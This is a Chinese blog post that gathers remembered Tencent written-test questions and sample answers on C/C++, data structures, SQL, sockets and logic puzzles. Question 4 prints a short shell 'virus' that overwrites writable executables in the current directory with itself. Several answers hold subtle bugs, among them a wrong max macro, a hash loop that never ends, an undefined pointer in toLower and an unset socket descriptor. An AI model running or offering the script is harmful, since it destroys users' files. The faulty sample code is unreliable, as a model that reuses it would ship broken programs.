----------------------------------------------------------------------------------------------------------------------------------

腾讯的流程是一笔和四面。前三次面试都是技术面,hr面基本不刷人。笔试成绩决定面试顺序。技术面可能要写代码,做智力题目。
主要是c/c++、数据结构、操作系统等方面的基础知识。好像有sizeof、树等选择题。填空题是补充完整程序。附加题有写算法的、编程的、数据库sql语句查询的。还有一张开放性问题。
 1.请定义一个宏,比较两个数a、b的大小,不能使用大于、小于、if语句。

#define max(a,b) (abs((a)-(b))-((a)-(b))) ? (b):(a)

 2.如何输出源文件的标题和目前执行行的行数

C定义的预定义宏:

__DATE__       进行预处理的日期(“Mmm dd yyyy”形式的字符串文字,如May 27 2006)
__FILE__         代表当前源代码文件名的字符串文字 ,包含了详细路径,如G:/program/study/c+/test1.c
__LINE__        代表当前源代码中的行号的整数常量
__DATE__       源文件编译日期
__TIME__        源文件编译时间,格式微“hh:mm:ss”,如:09:11:10;
__func__         当前所在函数名,在编译器的较高版本中支持
__FUNCTION__ 当前所在函数名
__STDC__       常数1, 指示是标准兼容
__STDC_HOSTED__   如果是hosted实现,为1; 如果是..实现,为0
__STD_VERSION__    C99为199901L

int line= __LINE__;
char *file = __FILE__;
cout << "file name is " << file << ",line is " << line <<endl;

 3.两个数相乘,小数点后位数没有限制,请写一个高精度算法
与大数相乘原理一样,只是调整小数点位置,即有效小数个数
算法提示:
输入 string a, string b;计算string c=a*b; 返回 c;
1. 纪录小数点在a,b中的位置l1,l2,则需要小数点后移动位置数为l=length(a)+length(b)-l1-l2-2;
2, 去掉a,b中的小数点,(a,b小数点后移,使a,b变为整数)
3, 计算c=a*b; (要么用java的BigInterger搞, 要么自己用C++写高精度数乘法,超过百万位,用FFT,我就不细说,这都预先写过就别做了)
4, 输出c,(注意在输出倒数第l个数时,输出一个小数点。若是输出的数少于l个,就补0)
 4.写一个病毒

#shellvirus II
for file in * 
do 
if test -f $file ; then 
    if test -x $file ; then 
        if test -w $file ; then 
            if grep -s echo $file >.mmm ;then 
                cp $0 $file 
            fi; 
        fi; 
    fi; 
fi;
done 
rm .mmm -f 

上面这个不对,没有传染性,寄生性……
 5.不使用额外空间,将 A,B两链表的元素交叉归并

6. struct st{
  int i;
  short s;
  char c;
  };
sizeof(struct st); //8

char * p1;
void * p2;
int p3;
char p4[10];
sizeof(p1...p4) =?//4,4,4,10
5.让你在100000000个浮点数中找出最大的10000个,要求时间复杂度优。
最小堆
二分查找
快速排序
双向链表的删除结点
有A、B、C、D四个人,要在夜里过一座桥。他们通过这座桥分别需要耗时1、2、5、10分钟
,只有一支手电,并且同时最多只能两个人一起过桥。请问,如何安排,能够在17分钟内
这四个人都过桥?

CD -> AB 2

ACD<-B   1

A->BCD   10

AB<-CD   2

->ABCD   2
基础题有15道选择和2道读程序填空。选择题的确是很基础,主要考数据结构,还有一些体系结构、数据库的题目;读程序题跟我们平时考试的差不多,一道是两个升序链合并成一个升序链+递归,一道是四色着色方案
附加题有几道没有看清楚。有一道是unix防僵死算法,最后一道是sql查询,还有几道忘了,其中一个是很长的程序题。。
15个选择题,60分
一个程序填空,40分
三道附加题60分
附加题考的是
不用第三个变量实现两个整形变量的交换
linux的子进程
操作系统资源抢占管理,两个进程要对文件进行独占访问,采用共享变量,判断可行否
书写strcpy()
时间两个小时,选择题 15*4
然后是程序填空题 10 (2*5), 30 (10*3)
附加题用c++ 实现一个链地址hash。
程序填空题我就不说了,比较easy的说,值得一提的是选择题。
绝大部分考的是C++,我大致说下主要部分吧:
涉及程序执行压栈的:1道
涉及容器和迭代器的:4道
涉及虚拟函数以及dynamic_cast的 3道
涉及参数传递的 1道
简单的程序段落判断 2道
涉及类的静态成员赋值的 1道
剩下的是杂七杂八的。
不管怎么说,假如你把c++ primer 仔细阅读了一遍,基本上没问题。
考的有些细,没有涉及算法和编译等知识,所以我同屋一个兄弟很郁
闷,因为他linux底层比较好,本来报的是后台开发,哪知道结果考这
种类型的题目。
程序填空的考了文件操作,以及数组移动等。
附加题比较简单的说,只要把数据结构的hash部分好好看,然后用class

/***************************** Hash_table.h**********************************/
 
#ifndef   HASH_TABLE_H
 
#define   HASH_TABLE_H
 
#include <string>
 
using namespace std;
 
struct node                  /*定义节点*/
 
 {
 
       node():_next(NULL){}
 
       string _value;
 
       node* _next;
 
};
 
typedef node* hash_node;      /*类型定义*/
 
const int MULT = 31;          /*散列函数的参数*/
 
const int TABLE = 10000;      /*数组的大小*/
 
 
 
class hash_table
 
{
 
public:
 
       /*构造函数*/
 
       hash_table(hash_node* table);
 
        /*析构函数*/
 
~hash_table();
 
       /*向hash_table插入元素*/
 
       void Insert(const string& word);
 
       /*从hash_table中查找元素*/
 
       int Search(const string& word);
 
private:
 
       /*散列函数*/
 
       unsigned int hash(const string& word); 
 
private:
 
       hash_node* _table;
 
};
 
#endif
 
/************************************end*************************************/
 
/*****************************hash_table.cpp***********************************/
 
#include "hash_table.h"
 
#include <iostream>
 
using namespace std;
 
/*构造函数*/
 
hash_table::hash_table(hash_node* table)
 
{
 
    _table = table;
 
}
 
/*析构函数*/
 
hash_table::~hash_table()
 
{
 
    delete[] _table;
 
}
 
/*散列函数*/
 
unsigned int hash_table::hash(const string& word)
 
{
 
     const char* p = word.c_str();
 
     unsigned int h = 0;
 
     for (; p; p++)                     /*hash_table的心脏*/
 
     {
 
        h = (h*MULT) % TABLE + (*p) % TABLE;
 
     }
 
    return h;
 
}
 
/*插入函数*/
 
void hash_table::Insert(const string& word)
 
{
 
       /*得到对应的散列值*/
 
       int h = hash(word);
 
       /*对应节点为空,插入本节点*/
 
       if (_table[h] == NULL)
 
       {
 
              hash_node n = new node();
 
              n->_value = word;
 
              n->_next = NULL;
 
              _table[h] = n;
 
              return ;
 
       }
 
       /*如果节点不为空,连结在本节点为头节点的链表*/
 
      for (hash_node p = _table[h];p != NULL;p = p->_next)
 
      {
 
           /*包含相同的值,直接返回*/
 
           if (p->_value == word)     return ;
 
      }
 
       /*发生冲突,处理冲突*/
 
       hash_node n = new node();
 
       n->_value = word;
 
       n->_next = _table[h];
 
       _table[h] = n;
 
}
 
/*查询函数*/
 
int hash_table::Search(const string& word)
 
{
 
       /*得到对应的散列值*/
 
       int h = hash(word);
 
       /*如果对应的节点为空,直接返回*/
 
       if (_table[h] == NULL)
 
       {
 
              return -1;
 
       }
 
       /*循环本节点,匹配对应的值,返回结果*/
 
       for (hash_node p = _table[h];p != NULL;p = p->_next)
 
       {
 
              if (p->_value == word)
 
              {
 
                     return 1;
 
              }
 
       }
 
       return -1;
 
}
 
/************************************end***********************************/

组装一下就ok了。

-----------------------------------------------------------------------------------------------------------------------------------

选择题(60)
c/c++ os linux 方面的基础知识 c的Sizeof函数有好几个!
程序填空(40)
1.(20) 4空x5
不使用额外空间,将 A,B两链表的元素交叉归并
2.(20) 4空x5
MFC 将树序列化 转存在数组或 链表中!
1, 计算 a^b << 2 (运算符优先级问题)

(a)^(b << 2)
2 根据先序中序求后序
3 a[3][4]哪个不能表示 a[1][1]: *(&a[0][0]) *(*(a+1)+1) *(&a[1]+1) *(&a[0][0]+4)
4 for(int i...)
for(int j...)
printf(i,j);
printf(j)
会出现什么问题

变量的作用域

5 for(i=0;i<10;++i,sum+=i);的运行结果

sum 1+2+...+10
6 10个数顺序插入查找二叉树,元素62的比较次数
7 10个数放入模10hash链表,最大长度是多少
8 fun((exp1,exp2),(exp3,exp4,exp5))有几个实参
9 希尔 冒泡 快速 插入 哪个平均速度最快
10 二分查找是 顺序存储 链存储 按value有序中的哪些
11 顺序查找的平均时间  O(n)
12 *p=NULL *p=new char[100] sizeof(p)各为多少

4 4
13 频繁的插入删除操作使用什么结构比较合适,链表还是数组

link
14 enum的声明方式

enum { //.. };
15 1-20的两个数把和告诉A,积告诉B,A说不知道是多少, B也说不知道,这时A说我知道了,B接着说我也知道了,问这两个数是多少

大题:补空
1 把字符串转换为小写,不成功返回NULL,成功返回新串

char *toLower(char *srcStr)
{
    assert(srcStr != NULL);
    int len = strlen(srcStr);
    char dstStr = new char[len+1];
    if(NULL == dstStr)
        return NULL;
    char *sptr = srcStr;
    char *dptr = dstStr;
    while(*ptr != '\0')
    {
        if(*ptr >= 'A' && *ptr <= 'Z')
        {
            *dptr = *sptr - 'A' +'a';    
        }
        else
        {
            *dptr = *sptr;
        }
        sptr++;
        dptr++;
    }
    *dptr = '\0';
    
    return dstStr;
}

char* toLower(char* sSrcStr)
{
char* sDest= NULL;
if( __1___) //NULL != sSrcStr
{
int j;
sLen = strlen(sSrcStr);
sDest = new [_______2_____]; //sLen +1
if(*sDest == NULL)
return NULL;
sDest[sLen] = '\0';
while(_____3____) //(--sLen>=0)
sDest[sLen] = toLowerChar(sSrcStr[sLen]);
}
return sDest;
}
2 把字符串转换为整数 例如:"-123" -> -123
main()
{
.....
if( *string == '-' )
n = ____1______;
else
n = num(string);
.....
}
int num(char* string)
{
for(;!(*string==0);string++)
{
int k;
k = __2_____;
j = --sLen;
while( __3__)
k = k * 10;
num = num + k;
}
return num;
}
附加题:
1 linux下调试core的命令,察看堆栈状态命令

/usr/proc/bin/lsstack core

2 写出socks套接字 服务端 客户端 通讯程序

//client.c
 
int main()
{
    int sockfd, n;
    char recvline(MAXLINE+1];
    struct sockaddr_in servaddr;
    
    if(socket(AF_INET, SOCK_STREAM, 0) < 0)
    {
        exit(-1);
    }
    
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    inet_pton(AF_INET, "202.120.37.167", &servaddr.sin_addr);
    servaddr.sin_port = htons(13);
 
    if(connect(sockfd, &servaddr, sizeof(servaddr)) < 0)
        exit(-1);
 
    while((n = read(socket, recvline, MAXLINE)) > 0)
    {
        //..
    }
    
    exit(0);
}

 
//server.c
 
int main(int argc, char *argv[])
{
    int     listenfd, connfd;
    struct sockaddr_in servaddr;
    char    buff[MAXLINE];
    
    listenfd = Socket(AF_INET, SOCK_STREAM, 0);
    
    bzeros(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servaddr.sin_port = htons(13); 
    
    Bind(listenfd, (SA *) &servaddr, sizeof(servaddr));
    
    Listen(listenfd, LISTENQ);
 
    for ( ; ; ) 
    {
        connfd = Accept(listenfd, (SA *) NULL, NULL);
      
        Write(connfd, buff, strlen(buff));
    
        Close(connfd);
    }
 
    exit(0);
}

3 填空补全程序,按照我的理解是添入:win32调入dll的函数名
查找函数入口的函数名 找到函数的调用形式
把formView加到singledoc的声明 将singledoc加到app的声明

关于DLL请看 >>>
4 有关系 s(sno,sname) c(cno,cname) sc(sno,cno,grade)
1 问上课程 "db"的学生no

select sno from sc join c on (sc.cno = c.cno) where cname = 'db' 

2 成绩最高的学生号

select sno from sc where grade = (select MAX(grade) from sc)

3 每科大于90分的人数

select COUNT(sno) from (select sno, MIN(grade) from sc group by sno) as tmp(sno, min_grade) where min_grade > 90

Tencent笔试题收集相关推荐

  1. 10道C++输出易错笔试题收集

    10道C++输出易错笔试题收集 下面这些题目都是我之前准备笔试面试过程中积累的,大部分都是知名公司的笔试题,C++基础薄弱的很容易栽进去.我从中选了10道简单的题,C++初学者可以进来挑战下,C++大 ...

  2. 程序员笔试题收集汇总(三)

    相关文章: 程序员笔试题收集汇总(一) http://blog.csdn.net/youyou1543724847/article/details/52383530 程序员笔试题收集汇总(二) htt ...

  3. 10道C++输出易错笔试题收集(敢进来挑战吗?)

    下面这些题目都是我之前准备笔试面试过程中积累的,大部分都是知名公司的笔试题,C++基础薄弱的很容易栽进去.我从中选了10道简单的题,C++初学者可以进来挑战下,C++大牛也可以作为娱乐玩下(比如下面的 ...

  4. 【web后端开发】笔试题收集

    4399Web后端开发笔试题 题目来源:牛客网 1.linux中,用mkdir命令创建新的目录时,如果需要在其父目录不存在时先创建父目录的选项是   D A  -h B -d C  -f D -p [ ...

  5. 多益网络春招笔试题收集

    单选,填空,问答,编程 一.第一份 文章链接:https://blog.csdn.net/hezuo1181/article/details/82462296 1.java语言不允许使用(指针)访问内 ...

  6. 运维笔试题收集(一)

    实验环境: [root@myfuture ~]# cat /etc/redhat-release CentOS release 6.6 (Final) 1.通过proc 文件系统怎么找到id 为235 ...

  7. 英特尔笔试题小整理DIY

    某 ICSC 英文笔试题 为 xdjm 铺垫试卷全 e 文 第一部分 智力题 大概 5,6 道 1.有 5*5 表格中找规律填数字, 2.在 3 个飞标得 99 分的投法,标盘有数字 3.三角形各角有 ...

  8. QQ群里收集的外企iOS开发的笔试题

    一组外企iOS开发的笔试题,您能回答出来吗?从群里收集来的. 1 why can't NSArray contain NSInteger Instance? with which extra step ...

  9. 前端笔试题面试题记录(上)

    前言 过完元宵,就到上海找了波工作,现在已经入职好了,蹭波热点,写一波面试记录,内容包含笔试题和面试题,还有一些没有写进来,准备再开一篇,许久没写了,写的确实有些慢.如果喜欢的话可以点波赞,或者关注一 ...

  10. 笔试分享 | 带你解读校招人工智能笔试题

    来源:机器学习算法工程师 本文约3100字,建议阅读9分钟 本文作者与你分享人工智能校招经验. 疫情下,感觉要爆发金融危机了啊,工作都可能找不到了,赶紧梳理下之前的笔试题,给大家个参考. 想了想当初, ...

最新文章

  1. 动真格!因为论文!138名研究生丧失学位申请资格,导师也被罚……
  2. xp与Vista双系统 相关问题
  3. 鸿蒙2.0都来了,快搭个环境玩起来吧!
  4. linux安装多个mysql数据库_linux下多个mysql5.7.19(tar.gz)安装图文教程
  5. 【C++进阶】利用重载二元运算符改进平面向量类Vec2D
  6. 服务器添加管理员隐藏账号,绝招:隐藏管理员账号 三分钟搞定
  7. linux网卡配置文件中2个ip,Linux Centos 7系统中如何一个网卡配置多个IP
  8. 【原/转】UITableview性能优化总结
  9. MySQL 死锁专题问题处理
  10. 拓端tecdat|数据度量消费贷款—消费者的考虑因素数据分析
  11. eas账号是什么意思_请问帐号和账号有什么区别,具体怎么用?
  12. ASO优化之教你如何得到ASO优化100关键词字符
  13. 文件上传绕过姿势整理
  14. Linux下使用游戏手柄
  15. 利用Pymol计算蛋白质相互作用位点
  16. Redis 入门教程(一)
  17. [Ansible系列]ansible tag介绍
  18. c语言教程+school,w3school教程整理
  19. 三重积分极坐标形式的直角坐标解法
  20. 8g内存一般占用多少_8g存储空间win10开机占用多少

热门文章

  1. gecode int branch
  2. url传值的一个问题解决
  3. 课时13—横屏竖屏事件
  4. ASP.NET Web API 2基于令牌的身份验证
  5. SWJTU 2208 最大覆盖
  6. 使用TestNG-xslt美化测试报告
  7. iis部署错误:HTTP 错误 500.21 - Internal Server Error
  8. imply套件以及plyql的安装
  9. P1589 - 【NOI2009】植物大战僵尸
  10. FastFel解析一个公式的步骤